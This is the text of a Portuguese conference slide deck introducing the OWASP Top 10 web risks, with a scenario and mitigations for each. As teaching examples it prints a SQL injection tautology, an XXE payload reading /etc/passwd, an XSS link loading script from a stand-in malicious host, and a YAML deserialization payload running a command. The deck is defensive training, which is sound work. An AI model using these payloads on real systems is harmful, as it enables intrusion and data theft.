Se ha denunciado esta presentación.
Utilizamos tu perfil de LinkedIn y tus datos de actividad para personalizar los anuncios y mostrarte publicidad más relevante. Puedes cambiar tus preferencias de publicidad en cualquier momento.

Saindo do 0x0 sobre segurança em aplicações web

Palestra realizada no 7º GUTS-SC.

Esta apresentação tem como objetivo explanar o básico de segurança em aplicações web, tendo como base o OWASP Top 10.

  • Inicia sesión para ver los comentarios

Saindo do 0x0 sobre segurança em aplicações web

  1. 1. Saindo do 0x0 sobre segurança em aplicações web
  2. 2. Estrutura da Apresentação 1. OWASP 2. Projeto OWASP Top 10 3. As 10 vulnerabilidades mais comuns em aplicações web 4. Ferramentas
  3. 3. 1. OWASP O que é...
  4. 4. OWASP ■ Open Web Application Security Project (OWASP) ■ Organização sem fins lucrativos ■ Tem diversos voluntários pelo mundo ■ Foco em segurança de aplicações ■ Diversos projetos além do OWASP Top 10
  5. 5. 2. Projeto OWASP TOP 10 O que é...
  6. 6. Projeto OWASP TOP 10 ■ Relatório das vulnerabilidades mais comuns em aplicações web ■ Geralmente de 3 em 3 anos tem uma publicação ■ O relatório mais atual é o de 2017 ■ Além das vulnerabilidades, também são apresentadas as formas de mitigação dos riscos envolvidos
  7. 7. O que mudou... 3. As 10 vulnerabilidades mais comuns em aplicações web
  8. 8. A1 - Injeção Injeção de dados não confiáveis são enviados para o interpretador como parte de um comando ou consulta válida (SQL, SO (sistema operacional), LDAP e etc) Não houver tratamento das informações fornecidas para o sistema (inputs) Severo - Pode comprometer por completo o servidor, assim como permitir a exposição de dados sensíveis Fácil - Ataques baseados em texto que exploram a sintaxe do interpretador alvo Dificuldade para explorar Impacto Vulnerável se O que é
  9. 9. A1 - Cenário - SQL Injection SELECT First_Name,Surname FROM users WHERE ID='1'; ■ Pesquisar usuário por ID
  10. 10. A1 - Cenário - SQL Injection SELECT First_Name,Surname FROM users WHERE ID='or'1'='1; ■ Injetar instrução para considerar sempre verdade e recuperar todos os usuários do banco
  11. 11. A1 - Como evitar Injeções ? Input Tratar todas as entradas fornecidas pelo usuário Whitelist Implementar validação e/ou filtro de entrada para definir o que é ou não aceito (lista branca) Banco de dados Minimizar os privilégios de acesso ao banco de dados para reduzir os impactos de uma falha/exploração Consulta Parametriza Consulta parametrizada para distinguir código e dados
  12. 12. A2 - Quebra de Autenticação Má implementação das funç õ es de autenticaç ã o ou gerenciamento de sessã o ( contas expostas, senhas, IDs de sessã o) no qual possibilitam assumir a identidade de outro usuá rio. Houver ausência de mecanismo de proteção (hash, criptografia), assim com a exposição dos ID's de sessão diretamente nas URL's, ID's de sessão que não expiram e etc. Severo - Pode comprometer algumas ou todas as contas dos usuários. Uma vez bem sucedido, qualquer ação pode ser feita através das contas utilizadas (ex: admin) Fácil - Ataques baseados em alteração e/ou reutilização de informações para assumir outras identidades Dificuldade para explorar Impacto Vulnerável se O que é
  13. 13. A2 - Cenário - Quebra de Autenticação ;jsessionid=EB4FFE6F0B917F27A44767177A66D44F ■ Compra de passagem 1 2 3 Usuário compra passagem Usuário compartilha o link Usuário malicioso agora pode realizar compra de passagem usando as credenciais de outro usuário
  14. 14. A2 - Como evitar Quebra de Autenticação ? Arquitetura Centralizar e padronizar o modelo de controle de autenticação Criptografia Sempre utilizar criptografia para dados sensíveis armazenados e/ou para transição dos mesmos (SSL) Ferramentas Utilizar ferramentas OWASP para tal - Enterprise Security API (ESAPI) URL Evitar passar ID de sessão através da URL
  15. 15. A3 - Exposição de Dados Sensíveis Dados importantes no qual estão expostos de forma indevidamente protegida (ofuscada) Houver ausência ou mal uso de mecanismo de proteção (hash, criptografia) e até mesmo uso de chaves fracas Severo - Geralmente compromete todos os dados do sistema, como credenciais de acesso, cartões de crédito, dados pessoais e etc Médio - Ataques baseados em explorar outros mecanismos para chegar aos dados sensíveis Dificuldade para explorar Impacto Vulnerável se O que é
  16. 16. A3 - Cenário - Exposição de Dados Sensíveis ■ Dados sensíveis em texto claro 1 Usuário realiza pagamento com cartão de crédito e sistema armazena em texto claro 2 O sistema gera log de todas as informações 3 Um endpoint externo possibilita o uso de logs e através do mesmo é possível obter todos os CC ID CC 1 000000000000
  17. 17. A3 - Como evitar Exposição de Dados Sensíveis ? Armazenamento Seguro Utilizar criptografia para dados sensíveis armazenados Chaves fortes Utilizar algoritmos fortes (criptografia) Autocomplete Desabilitar funções de autocomplete em formulários que trabalham com dados sensíveis Distribuição de chaves Distribuir chave apenas para as partes autorizadas e de forma controlada
  18. 18. A4 - Entidades Externas XML (XXE) Injeção de referências (entidades) a partir de mal uso ou validação dos processadores de XML Houver ausência de validação de entrada dos XML's (uploads - fontes desconhecidas), se o sistema usar o SOAP antes da versão 1.2 e se houver ausência de validação das entidades Severo - Possibilita a extração dados, execução remota do servidor, escaneamento sistemas internos, execução de um ataque de negação de serviço e etc Médio - Torna-se necessário, por exemplo, realizar upload de XML ou incluir conteúdo malicioso no XML para realizar a exploração Dificuldade para explorar Impacto Vulnerável se O que é
  19. 19. A4 - Cenário - Entidades Externas XML ■ Execução de comando através de Entidade XML 1 Sistema aceita upload de arquivo XML (Nota Fiscal) 2 Usuário malicioso envia novo XML com a entidade alterada 3 O processador de XML retorna informações conforme solicitado pela entidade <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <creds> <user>&xxe;</user> <pass>password</pass> </creds>
  20. 20. A4 - Como evitar Entidades Externas XML ? Atualização Atualizar todos os processadores de XML, assim como o SOAP para uma versão superior à 1.2 Inativação Desativar o processamento da entidade externa XML Whitelist Implementar validação e/ou filtro de entrada para definir o que é ou não aceito (lista branca) Tecnologia Se possível, preferir à usar JSON ao invés de XML
  21. 21. A5 - Quebra de Controle de Acesso Usuários não autorizados são capazes de acessar determinadas ações/arquivos do sistema Ausência de verificação se o usuário solicitante tem permissão para acessar a URL, arquivo, diretório e/ou determinada ação do sistema Moderado - Possibilita o comprometimento de determinados objetos referenciados, assim como a exposição dos mesmos Fácil - Ataques baseados em mudança de parâmetro que exploram as referências do objeto Dificuldade para explorar Impacto Vulnerável se O que é
  22. 22. A5 - Cenário - Quebra de Controle de Acesso ■ Acessar dados de outro usuário sem a devida permissão 1 Usuário acessa da própria conta 2 Através da URL, muda o número do usuário 3 Obtém acesso a conta de outro usuário
  23. 23. A5 - Como evitar Quebra de Controle de Acesso ? Input Tratar todas as entradas fornecidas pelo usuário Permissão Validar se o usuário tem autorização diante o que foi solicitado Tipo de acesso Validar os tipos de acesso do usuário (leitura, escrita, exclusão) Ferramentas Utilizar ferramentas OWASP para tal - Enterprise Security API (ESAPI)
  24. 24. A6 - Configuração Incorreta de Segurança Má configuração em geral que podem afetar qualquer nível da pilha de aplicação Houver sistema desatualizado (S.O, SDBD, Servidor Web, Bibliotecas), recursos ativos que são desnecessários (portas, serviços, contas), erros que revelam informações importantes e etc Moderado - Possibilita o acesso não autorizado à determinados serviços que podem levar o comprometimento do sistema, assim como pode ocorrer a exposição de dados Fácil - Ataques baseados em explorar falhas conhecidas, páginas não utilizadas e serviços expostos Dificuldade para explorar Impacto Vulnerável se O que é
  25. 25. A6 - Cenário - Configuração Incorreta de Segurança ■ Erro na configuração de acesso à página do servidor web 1 Após um scanner das páginas disponíveis na aplicação, o usuário malicioso descobre página de configuração do servidor de aplicação, no qual é restrita para admins
  26. 26. A6 - Como evitar Configuração Incorreta de Segurança ? Hardening Criar políticas de "blindagem" para os ambientes Política de Atualização Processo de atualização de correções de software (patch de segurança) Auditorias Checar periodicamente as políticas de segurança Varredura de Segurança Checar periodicamente as possíveis vulnerabilidades existentes nos ambientes
  27. 27. A7 - Cross-Site Scripting (XSS) Dados não confiáveis são enviados para o navegador da vítima sem a validaç ã o ou filtro apropriado referente ao conteú do. Dividido em 3 tipos: Refletido, Persistente e Baseado em DOM Houver ausência de validação e/ou tratamento das informações fornecidas para o sistema (inputs), assim como para as API's de terceiros Moderado - Possibilita o sequestro de sessão, roubo de dados sensíveis, redirecionamento para páginas maliciosas, inserção de arquivos maliciosos e etc Fácil - Ataques baseados em script que exploram a sintaxe do interpretador alvo Dificuldade para explorar Impacto Vulnerável se O que é
  28. 28. A7 - Cenário - Cross-Site Scripting (XSS Refletido) ■ Execução de script ao acessar uma página de um site 1 Usuário recebe link por e-mail 2 Através do link há um script no qual realiza uma execução Assunto: Promoção imperdível!!!! É só clicar -> www.compreaqui.com.br De: xpto@shopconfiavel.com.br Para: inocente@gmail.com <script>alert('aqui tem XSS, BIIIRRRL')</script> <a href="http://confianenem.org.br/busca.cgi?cc=<script src='http://malicioso.com.br/malicioso.js'></script>">segur ancatotal.org.br</a>
  29. 29. A7 - Como evitar Cross-Site Scripting (XSS) ? Input Tratar todas as entradas fornecidas pelo usuário Whitelist Implementar validação e/ou filtro de entrada para definir o que é ou não aceito (lista branca) Output Tratar todas as saídas para o usuário através de encoding ou escaping de caracteres Bibliotecas Utilizar bibliotecas de auto-sanatização
  30. 30. A8 - Desserialização Insegura Modificação da lógica da aplicação com foco em execução arbitrária de código Caso a aplicação permite a alteração do objeto durante e após a desserialização Severo - Possibilita um invasor de executar códigos remotamente, manipular e até mesmo apagar objetos serializados (escritos em disco), assim como realizar escalonamento de privilégios Difícil - Exige um conhecimento técnico mais aprofundado para entender as oportunidades de ataque para a vulnerabilidade em questão Dificuldade para explorar Impacto Vulnerável se O que é
  31. 31. A8 - Cenário - Desserialização Insegura ■ Execução arbitrária de código através da leitura de um arquivo 1 Usuário malicioso encontra um trecho de código no qual possibilita execução de outro código 2 Realiza a execução de um código arbitrário para obter informação do host local import yaml with open('malicious.yml') as yaml_file: contents = yaml.load(yaml_file) print(contents['foo']) foo: !!python/object/apply:subprocess.check_output ['whoami']
  32. 32. A8 - Como evitar Desserialização Insegura ? Arquitetura Recusar objetos serializados de fontes desconhecidas Isolamento Executar código que desserializa em ambientes de privilégios baixos quando possível Exceções Apresentar exceções e falhas de desserialização quando o tipo de entrada não for o esperado Monitoramento e Restrição Restringir e monitorar a rede de entrada e saída de objetos
  33. 33. A9 - Utilização de Componentes Vulneráveis Conhecidos Componentes e/ou bibliotecas utilizados na aplicação que são vulneráveis Não houver reconhecimento de todos os componentes utilizados, assim como se houver algum componente externo ou interno que tenha alguma vulnerabilidade conhecida Moderado - Possibilita que outros tipos de falhas sejam exploradas e eventualmente chegue a comprometer parte ou completamente a aplicação Médio - Ataques geralmente baseados em exploits para vulnerabilidades já conhecidas Dificuldade para explorar Impacto Vulnerável se O que é
  34. 34. A9 - Cenário - Utilização de Componentes Vulneráveis Conhecidos ■ Uso de componente vulnerável 1 Usuário malicioso realiza varredura no sistema e encontra um componente vulnerável 2 Descobre que o componente é vulnerável à injeção 3 Desenvolve um exploit para o componente em questão e explora a falha
  35. 35. A9 - Como evitar Utilização de Componentes Vulneráveis Conhecidos ? Atualização Manter todos os componentes sempre atualizados Política de Segurança Estabelecer políticas de segurança para o uso dos componentes no desenvolvimento Testes de Segurança Envolver os componentes nos testes de segurança Fronteira Estabelecer limites de escopo de do componente na aplicação
  36. 36. A10 - Monitoramento de Eventos e Registros Insuficientes Ineficiência em resposta aos incidentes, possibilitando que os atacantes concluam os seus objetivos (ex: varredura). Houver ausência ou falta de logs com avisos e erros gerados pela aplicação, assim como a falta de monitoramento dos serviços, sejam estes internos ou externos (ex: API). Outro ponto é quando a própria aplicação não consegue detectar e nem alertar em tempo real os ataques ativos Moderado - Possibilita comprometimento dos mais variados tipos, só vai depender do que estiver sendo explorado Média - É necessário fazer um estudo da app para saber quais recursos estão ou não sendo monitorados, assim como os que geram ou não log Dificuldade para explorar Impacto Vulnerável se O que é
  37. 37. A10 - Cenário - Monitoramento de Eventos e Registros Insuficientes ■ Varredura de serviços e portas disponíveis externamente 3 Faz uso indevido de tais informações para roubar os dados dos clientes 1 Usuário malicioso realiza varredura no sistema, descobre quais portas estão expostas e que nenhum alerta é gerado 2 Descobre qual dos serviços é responsável pelas senhas de acesso
  38. 38. A10 - Como evitar Monitoramento de eventos e Registros Insuficientes ? Monitoramento Estabelecer o monitoramento e alerta de modo que as atividades suspeitas sejam detectadas e respondidas em tempo hábil. Plano de Resposta Adotar um plano de resposta e recuperação de incidentes (ex: NIST 800-61 rev 2) Auditorias Realizar periodicamente auditorias de segurança Ferramentas Utilizar ferramentas para tal - AppSensor, WAF, Dashboard de monitoramento e etc
  39. 39. O que mudou... 4. Ferramentas
  40. 40. Ferramentas Ferramenta para Testes de Segurança Aplicação vulnerável para estudo Aplicação vulnerável para estudo Ferramenta para Testes de Segurança Zed Attack Proxy
  41. 41. Obrigado! Quem sou: Igor Carneiro Atuação: Analista de Qualidade de Software Hobbies: Corrida, livro e videogame E-mail: igor.ribeiro.carneiro@gmail.com LinkedIn: in/igorcarneiro
  42. 42. “ Cybersecurity used to be about the network or operating system. Now it's more at the application layer. Companies and their contractors build their own applications hosted on a public website, and the people who write them aren't trained in secure coding. The mistakes they make can be leveraged to break the system. By Kevin Mitinick
  43. 43. Referências ■ https://www.owasp.org ■ https://dzone.com/articles/what-is-insecure-deserialization ■ http://blog.securecodewarrior.com/2016/04/releasing-secure-coding-learning.html ■ https://sensedia.com/blog/apis/owasp-2017-top-10-riscos-seguranca-apis/ ■ https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection ■ https://pyyaml.org/wiki/PyYAMLDocumentation ■ http://blog.conviso.com.br/ ■ https://www.veracode.com/blog ■ https://www.owasp.org/index.php/Appendix_A:_Testing_Tools ■ https://www.forbes.com/2008/08/21/mitnick-hackers-security-tech-security-cx_ag_0 821mitnick.html

×